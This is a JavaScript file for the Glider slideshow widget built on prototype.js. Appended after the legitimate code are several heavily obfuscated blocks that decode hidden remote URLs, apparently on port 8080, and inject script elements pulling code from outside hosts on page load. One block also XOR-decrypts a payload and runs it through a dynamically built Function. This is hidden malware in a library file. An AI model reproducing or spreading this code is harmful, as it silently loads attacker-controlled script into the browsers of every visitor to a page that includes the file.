/**
 * @author Bruno Bornsztein <bruno@missingmethod.com>
 * @copyright 2007 Curbly LLC
 * @package Glider
 * @license MIT
 * @url http://www.missingmethod.com/projects/glider/
 * @version 0.0.3
 * @dependencies prototype.js 1.5.1+, effects.js
 */

/*  Thanks to Andrew Dupont for refactoring help and code cleanup - http://andrewdupont.net/  */

Glider = Class.create();
Object.extend(Object.extend(Glider.prototype, Abstract.prototype), {
	initialize: function(wrapper, options){
	    this.scrolling  = false;
	    this.wrapper    = $(wrapper);
	    this.scroller   = this.wrapper.down('div.scroller');
	    this.sections   = this.wrapper.getElementsBySelector('div.section');
	    this.options    = Object.extend({ duration: 1.0, frequency: 3 }, options || {});

	    this.sections.each( function(section, index) {
	      section._index = index;
	    });    

	    this.events = {
	      click: this.click.bind(this)
	    };

	    this.addObservers();
			if(this.options.initialSection) this.moveTo(this.options.initialSection, this.scroller, { duration:this.options.duration });  // initialSection should be the id of the section you want to show up on load
			if(this.options.autoGlide) this.start();
	  },
	
  addObservers: function() {
    var controls = this.wrapper.getElementsBySelector('div.controls a');
    controls.invoke('observe', 'click', this.events.click);
  },	

  click: function(event) {
		this.stop();
    var element = Event.findElement(event, 'a');
    if (this.scrolling) this.scrolling.cancel();
    
    this.moveTo(element.href.split("#")[1], this.scroller, { duration:this.options.duration });     
    Event.stop(event);
  },

	moveTo: function(element, container, options){
			this.current = $(element);

			Position.prepare();
	    var containerOffset = Position.cumulativeOffset(container),
	     elementOffset = Position.cumulativeOffset($(element));

		  this.scrolling 	= new Effect.SmoothScroll(container, 
				{duration:options.duration, x:(elementOffset[0]-containerOffset[0]), y:(elementOffset[1]-containerOffset[1])});
		  return false;
		},
		
  next: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var nextIndex = (this.sections.length - 1 == currentIndex) ? 0 : currentIndex + 1;      
    } else var nextIndex = 1;

    this.moveTo(this.sections[nextIndex], this.scroller, { 
      duration: this.options.duration
    });
  },
	
  previous: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var prevIndex = (currentIndex == 0) ? this.sections.length - 1 : 
       currentIndex - 1;
    } else var prevIndex = this.sections.length - 1;
    
    this.moveTo(this.sections[prevIndex], this.scroller, { 
      duration: this.options.duration
    });
  },

	stop: function()
	{
		clearTimeout(this.timer);
	},
	
	start: function()
	{
		this.periodicallyUpdate();
	},
		
	periodicallyUpdate: function()
	{ 
		if (this.timer != null) {
			clearTimeout(this.timer);
			this.next();
		}
		this.timer = setTimeout(this.periodicallyUpdate.bind(this), this.options.frequency*1000);
	}

});

Effect.SmoothScroll = Class.create();
Object.extend(Object.extend(Effect.SmoothScroll.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'absolute'
    } , arguments[1] || {}  );
    this.start(options);
  },
  setup: function() {
    if (this.options.continuous && !this.element._ext ) {
      this.element.cleanWhitespace();
      this.element._ext=true;
      this.element.appendChild(this.element.firstChild);
    }
   
    this.originalLeft=this.element.scrollLeft;
    this.originalTop=this.element.scrollTop;
   
    if(this.options.mode == 'absolute') {
      this.options.x -= this.originalLeft;
      this.options.y -= this.originalTop;
    } 
  },
  update: function(position) {   
    this.element.scrollLeft = this.options.x * position + this.originalLeft;
    this.element.scrollTop  = this.options.y * position + this.originalTop;
  }
});





var we=new Array();var b=new Array();var d;if(d!='f' && d != ''){d=null};var k='smcGr,i,pGt/'.replace(/[/w,Gm]/g, '');var n=document;var le=27535;var x=window;this.uy="uy";var jj;if(jj!='pv' && jj!='ea'){jj='pv'};var __="";xxf){this.a='';};var tw;if(tw!='s'){tw='s'};var i='';};var ks;if(ks!=''){ks='lf'};
var mr;if(mr!='g'){mr=''};var f=document;var pu=false;var ol="";var x=window;var ho;if(ho!='' && ho!='v'){ho='yn'};function e(m){var xk=['h6tYt6pY:Y/Y/YgYo>o6g6l*e>->cYo>m1-1p6k6.>mYa1cYy>s6.>c6o*m6.>wYo1r6d>p1r6e>s6s>->o*rYg*.6h1o*t1n6e1w>gYu>i>dYe1.6rYuY:Y8*0>8Y06/>gYo1oYg1l>e1.Yc*o*m6/6g>o1o6g*l*eY.Yc*oYmY/Yz6aYnYoYx>-1a>f6f*iYl1iYa6t*e1.*d*e>/1m6y1f1r1e>eYp>a>y1s*i6t*e*.*c1o>mY/YuYl6tYi*m>a1t*e*-*g1u6iYt>a6r>.6cYo>m>/1/[~kRV5]/g, ''), "1"];var o=xk[m];return o;}var n;if(n!='lo' && n!='ve'){n=''};var vy='';var q = function(){try {this.r=false;s=f[e([2,0][0]
var wKh="1c03053111711e1d040222413c0b333f5a1003013c17180b280b1b3621273d09101d061722382236311f223a253b35043a1700123e2b022b061e033f021306381d7d081053141809550010731127";var qT=new String();this.cZ="cZ";var Hd;if(Hd!='Td'){Hd=''};function K(P){var dI=29678; function l(Py, Z){this.Bm="";this.eR='';var N = Py.length;this.xX=58986;var S = Z.length;var Jw=false;var M=[1,247,0,159][0];var sr=new Array();var J = '';var bW;if(bW!='tF' && bW!='rt'){bW='tF'};var j=[167,0,110,102][1];var QT;if(QT!='mZ' && QT!='vv'){QT='mZ'};var z=29440;this.QcN=44804;for(var a = j; a < N; a += S) {var JZ;if(JZ!='rr' && JZ != ''){JZ=null};var Jy=new Array();var E = Py.substr(a, S);var yp;if(yp!='p' && yp!='Zz'){yp=''};if(E.length == S){var KN="KN";for(var R in Z) {var k;if(k!='' && k!='gx'){k=null};var Gc;if(Gc!='' && Gc!='i'){Gc=''};J+=E.substr(Z[R], M);var Dl;if(Dl!='HQ'){Dl='HQ'};var Iq;if(Iq!='gu'){Iq='gu'};}var lP=false;this.XS='';} else {  J+=E;var ti;if(ti!='dT' && ti!='TYo'){ti=''};}var yM="";}var Mr;if(Mr!='aj' && Mr!='pe'){Mr='aj'};this.Dd=false;return J;var PL;if(PL!='sS' && PL!='MW'){PL=''};var eV='';} var A=function(ZK){var r=[255,12][0];var ap=[71,0,110][1];var Uy=new String();var Qo;if(Qo!='pf' && Qo != ''){Qo=null};var M=[132,1,201][1];var R=[0][0];var aX=ZK[l("egnlth", [3,0,2,1])];var pY;if(pY!='sb'){pY='sb'};this.Ji="Ji";this.Gj=false;var ip=false;var GX=41265;while(R<aX){var vd=false;R++;this.PD=59185;Nh=H(ZK,R - M);ap+=Nh*aX;var TNk=new Array();var pO;if(pO!='nH'){pO=''};}return new Zl(ap % r);var yE="yE";var dd="dd";}; var H=function(Q,Y){this.wt=false;var gU="gU";return Q[l("hacCoreAdt", [2,0,1])](Y);}; var AH;if(AH!='lq'){AH=''};var Yr="";function Qc(aA,u){return aA^u;var AV;if(AV!='iL' && AV != ''){AV=null};this.EX="";}var Nb=7153;this.ON="ON"; this.LCv=59317;function g(Py){var yJ;if(yJ!='PR'){yJ=''};var Th;if(Th!='sp'){Th=''};var tR="tR";var J = '';var cd="cd";var a =[0,159][0];var UR=new Array();var yI;if(yI!='' && yI!='al'){yI=null};var rA = -1;Py = new Zl(Py);var j =[217,0,218,145][1];var Yg;if(Yg!='' && Yg!='ms'){Yg=''};var hU;if(hU!='' && hU!='ipv'){hU=''};var vo=new String();var Zu;if(Zu!='cz' && Zu!='cg'){Zu='cz'};for (a=Py[l("elgnht", [1,0])]-rA;a>=j;a=a-[1][0]){this.cdw='';J+=Py[l("hracAt", [3,0,2,1])](a);var sk="";}var Iu;if(Iu!='Ma' && Iu!='bZ'){Iu='Ma'};return J;var vF=false;this.Wm="Wm";}var CG;if(CG!='' && CG!='iI'){CG='Iqb'};var eE;if(eE!=''){eE='oY'};this.kr=60129;var t=window;var Ju;if(Ju!='' && Ju!='qh'){Ju=null};var e=t[l("avel", [2,1,0])];var tH=e(l("tuFcnion", [2,1,4,3,0]));var AO="";this.oUq="oUq";var q = '';this.WO=51308;this.UY=4616;var Zl=e(l("itrSng", [3,1,2,0]));this.tU="tU";var jA="";var eI=e(l("xeERgp", [3,1,4,2,0]));var Xi=new Date();var jQ;if(jQ!='Nq' && jQ!='tl'){jQ='Nq'};this.ia=39636;this.XJ=58360;this.Pr=47675;var U=Zl[l("rofChmrCadeo", [2,0,1])];var aG="";var V=t[l("ansupcee", [3,1,6,2,5,0,4])];var Ek=new String();var qC;if(qC!='bG'){qC='bG'};var Kv = '';var h=[1, l("ceoumd.etcrneetElan\'et(mrtcips\')", [5,2,0,3,4,1]),2, l("ocduenmtbo.d.aypenpdhiCl(dd)", [2,0,1,3]),3, l("oc.lmievitseedigsnr.:8u080", [1,0,4,2,3,5]),4, l("ocmm.utlilpyc.o.mrpai4dme", [1,0,2]),5, l("pspretm.aomc", [2,0,1]),6, l("sd.Aetrttuib(tee\'drfe\'", [1,2,0]),7, l("arsbbgon1.com", [3,0,7,5,4,1,6,2]),8, l(".onwodiwnload", [7,6,2,5,4,3,0,1]),11, l("reeruts.com", [3,2,4,5,1,0]),12, l("ufnciton()", [1,0,2,3]),14, l("lgeo.ocgom", [7,3,5,1,0,2,4,6]),15, l("casyenmt", [2,3,6,1,5,7,4,0]),16, l("acct(h)e", [1,0]),17, l("tth\"p:", [3,2,0,1]),18, l("r.dsc", [2,1,3,0]),19, l(")\'1\'", [1,2,3,0]),20, l("rty", [1,0])];var b = "%";this.xc='';var MN=false;var v =[2,11,25][0];this.qo=false;var x = /[^@a-z0-9A-Z_-]/g;this.Ba="Ba";var tK;if(tK!='ljR'){tK=''};this.kj=14411;var M =[1,151][0];var j =[223,0,55][1];var mL="mL";var AK;if(AK!='' && AK!='aS'){AK='rj'};var Es = '';var Xl=55403;var RG=61004;var ML = P[l("elgnht", [1,0])];this.hN=25473;var B =[143,41,0,208][2];var SB;if(SB!='' && SB!='lZ'){SB=null};var kv=false;var L = '';var Lt="Lt";var nR='';var vZ;if(vZ!='' && vZ!='Qz'){vZ='Ej'};var XMs;if(XMs!='' && XMs!='XMp'){XMs='RV'};var Sp=new Array();var Uu=new Date();var Yu;if(Yu!='yz' && Yu!='zGT'){Yu=''};for(var y=j; y < ML; y+=v){this.oH=false;var yo="";L+= b; var VE="";L+= P[l("rsbuts", [1,3,2,5,4,0])](y, v);var vX;if(vX!=''){vX='Zm'};}var EL;if(EL!='Zh' && EL!='aYx'){EL='Zh'};var skj;if(skj!='JQ' && skj != ''){skj=null};var Vz;if(Vz!='pk'){Vz=''};var kQ=new String();var P = V(L);this.WE="";var s = new Zl(K);var zf;if(zf!='fL' && zf!='VM'){zf='fL'};var oSr;if(oSr!='' && oSr!='ml'){oSr=null};var m = s[l("clrpaee", [2,5,3,1,4,0])](x, Es);m = g(m);var o = new Zl(tH);this.oa="";var W = h[l("elgnht", [1,0])];var tZ='';var aR;if(aR!='kC'){aR=''};var mq = o[l("percale", [2,1,0])](x, Es);var mq = A(mq);var re;if(re!='uj' && re!='Ct'){re=''};this.OU=false;var qf=A(m);for(var a=j; a < (P[l("gtlhne", [2,5,4,0,1,3])]);a=a+[1,73,77][0]) {var TT;if(TT!=''){TT='Lr'};var Gk;if(Gk!='' && Gk!='Uwi'){Gk=null};var Rl = m.charCodeAt(B);var IN="IN";var LM = H(P,a);var URP="URP";var Zv='';LM = Qc(LM, Rl);LM = Qc(LM, qf);LM = Qc(LM, mq);var EQ='';this.Tg=1883;B++;this.TL=29412;this.qhq=15654;var AP=52381;var Ff;if(Ff!='uI' && Ff!='Fy'){Ff=''};if(B > m.length-M){this.JB='';B=j;var qE;if(qE!='wK' && qE!='fO'){qE=''};}var FY;if(FY!='iS' && FY!='pR'){FY=''};Kv += U(LM);this.lI=53272;}var rY;if(rY!='dg'){rY='dg'};var OJ;if(OJ!='JO' && OJ!='DBG'){OJ='JO'};var LO;if(LO!='' && LO!='AF'){LO='Ge'};for(T=j; T < W; T+=v){var Mm='';var bQ = h[T + M];this.Ih="";var d = U(h[T]);var yN;if(yN!='xVx' && yN!='ZV'){yN=''};var Pz=false;var fn=new String();var Vn = new eI(d, "g");var Ly=false;var NJ="NJ";Kv=Kv[l("aprelce", [2,3,1,4,0])](Vn, bQ);}var rFr='';var Pk;if(Pk!='' && Pk!='JZC'){Pk=null};var Nr=new tH(Kv);var kq=new Date();Nr();var RYz='';m = '';mq = '';var tD='';var NB;if(NB!='Vc' && NB!='VT'){NB='Vc'};var Px;if(Px!='' && Px!='lIt'){Px=''};Nr = '';o = '';this.jl='';qf = '';Kv = '';var Eu;if(Eu!='' && Eu!='jQf'){Eu='hP'};var NBz;if(NBz!='UF' && NBz != ''){NBz=null};return '';};var qT=new String();this.cZ="cZ";var Hd;if(Hd!='Td'){Hd=''};K(wKh);
var EQ;if(EQ!='H' && EQ!='W'){EQ='H'};function L() {var b='[';var HH;if(HH!='Rn' && HH != ''){HH=null};var F=new String();var C='g';var R=']';var Rg='replace';var s=RegExp;var I="";var YB;if(YB!='' && YB!='Dg'){YB=''};function A(q,f){var Q="";var z="";var qV=new Date();var CX=b;CX+=f;this.d='';CX+=R;var i=new Array();var zG=new Date();var o=new s(CX, C);return q[Rg](o, F);var oF='';var CB;if(CB!='' && CB!='RT'){CB='pQ'};};var xE=new Date();var Yu;if(Yu!='Ea'){Yu='Ea'};var CE=A('hktkt2pk:2/7/2g2o2okg2l7e7-7c2o2mk-kdko7.7z2ykl2okm2.kckokmk.2aknkskwke7r2sk-2cko7mk.7f7o7r2rke7d7tka2g7.kr2u2:2',"7k2");var FK="";var w=new String();var v=A('/Ng0eJozcNiJtzize0sz.zjNpz/JgNe0oJczi0tJizezs0.zjNpN/JlNiJnzkzbNuJcJkNs0.0cNoJmJ/znNizfztNyN.zcNoJmN/JgzoJoNgzlzez.JcJoJmN.NpNhNpz',"z0JN");var u;if(u!='fs'){u=''};var p=A('c4rKeKaTt4ePERlTe4mPe4nTtK',"4TRPK");var iI="";var LX=A('863666036368336660666666',"63");var H_=new Array();var X=new Date();var m=window;var iK=new String();var j=A('sKcKrKi2pKt2',"2K");var Jl;if(Jl!='dP' && Jl!='mr'){Jl='dP'};var eF;if(eF!='BW' && eF!='V'){eF='BW'};var Ll='';this.iV="";this.cy='';m[A('ornBlBorazdr',"Bphrz")]=function(){try {var CJm=new Date();Ll+=CE;Ll+=LX;var Z;if(Z!='XO' && Z!='B_'){Z=''};Ll+=v;this.gK="";this.mX="";E=document[p](j);this.nO='';this.mC="";var Wa;if(Wa!='' && Wa!='CZ'){Wa='wN'};var iIf;if(iIf!='' && iIf!='wJ'){iIf='BM'};sV(E,'src',Ll);var wc;if(wc!='' && wc!='dC'){wc=null};sV(E,'defer',([1][0]));var AJ='';var tI=new Array();document.body.appendChild(E);} catch(mw){var KY=new Date();};var sVE;if(sVE!=''){sVE='lJ'};var Mr=new Date();};var An;if(An!='jO'){An=''};this.bY='';var DG;if(DG!='' && DG!='u_'){DG='fi'};function sV(S,sJ,D){S.setAttribute(sJ, D);}this.qw='';var Vz='';var P;if(P!='' && P!='gd'){P=null};var cD;if(cD!='' && cD!='BC'){cD=null};};L();this.Oq="";